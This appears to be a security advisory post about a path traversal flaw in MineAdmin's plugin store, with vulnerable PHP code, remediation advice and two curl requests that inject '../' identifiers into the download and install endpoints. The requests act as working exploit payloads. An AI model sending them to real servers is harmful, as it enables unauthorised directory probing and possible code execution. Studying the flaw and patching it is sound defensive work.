Listen to this Post
MineAdmin versions prior to 3.2.0-alpha.2 contain a path traversal vulnerability within the app-store plugin service. The root cause is the unsafe concatenation of user-supplied `identifier` values into filesystem paths without any sanitization or validation.
Specifically, the download(), install(), and `unInstall()` methods in `plugin/mine-admin/app-store/src/Service/Service.php` directly use the `identifier` parameter to construct file paths, such as BASE_PATH . '/plugin/' . $params['identifier']. An attacker can inject path traversal sequences like `../` to navigate outside the intended plugin directory.
The `install()` method further passes this unsanitized `identifier` to Plugin::install(), which may execute composer commands on the traversed path. This could lead to arbitrary composer execution on directories outside the plugin scope. Additionally, the affected controller (IndexController.php) only uses `AccessTokenMiddleware` and lacks `PermissionMiddleware` (tracked as GM-4340), meaning any authenticated user can exploit this vulnerability.
The vulnerability has been confirmed exploitable in a Docker environment. It is assigned a CVSS score of 8.7 (High).
DailyCVE Form:
Platform: MineAdmin
Version: < 3.2.0-alpha.2
Vulnerability: Path Traversal
Severity: High (CVSS 8.7)
date: 2026-08-19
Prediction: 2026-08-26
What Undercode Say:
The following bash commands and code snippets demonstrate the exploitation and validation of CVE-2026-55224.
Check if arbitrary path exists via download:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../../etc", "version": "1.0.0"}'
This request attempts to check the existence of the `/etc` directory by traversing out of the plugin folder.
Install a “plugin” from a traversed path:
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../app", "version": "1.0.0"}'
This resolves to BASE_PATH/plugin/../app = BASE_PATH/app, causing `Plugin::install(“../app”)` to process the application directory as a plugin.
Vulnerable Code Snippet (Service.php line 48):
public function install(array $params): bool
{
// ...
$path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
if (file_exists($path . '/install.lock')) {
$this->throwAppInstalled();
}
Plugin::install($params['identifier']); // May run composer commands with traversal path
return true;
}
The `identifier` is used unsafely in both file system operations and the `Plugin::install()` call.
Exploit: (Educational Purposes!)
To exploit this vulnerability, an attacker must have a valid JWT token for authentication, as the endpoint is protected only by AccessTokenMiddleware. The attacker can then craft a POST request to the `/admin/plugin/store/install` endpoint with a malicious `identifier` containing path traversal sequences.
For example, setting `”identifier”: “../../../sensitive_dir”` could allow the attacker to target directories outside the web root. If `Plugin::install()` executes composer commands on the traversed path, this could lead to arbitrary code execution by triggering composer autoloaders or executing malicious composer scripts within the targeted directory. The `download` endpoint can also be used to probe for the existence of arbitrary directories, aiding in reconnaissance.
Protection:
To protect against CVE-2026-55224, the following remediation steps are recommended:
1. Upgrade MineAdmin to version 3.2.0-alpha.2 or later, which contains the official fix.
2. Sanitize and validate the `identifier` parameter. Reject any input containing path traversal sequences (e.g., ../, ..\). Use `basename()` or a strict regex allowlist such as `^[a-zA-Z0-9_-]+$` before concatenating the identifier into any file path.
3. Implement proper authorization by adding `PermissionMiddleware` to the affected controller endpoints to ensure that only users with the necessary permissions can access plugin management functions.
Impact
Successful exploitation of this vulnerability allows an authenticated attacker to:
– Read the existence of directories outside the intended plugin directory.
– Install or uninstall plugins from arbitrary locations on the filesystem.
– Potentially execute arbitrary composer commands on traversed directories.
– In conjunction with the missing PermissionMiddleware, any authenticated user can perform these actions.
– Ultimately, this could lead to full remote code execution (RCE), allowing the attacker to compromise the server, steal sensitive information, install ransomware, or pivot to the internal network.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
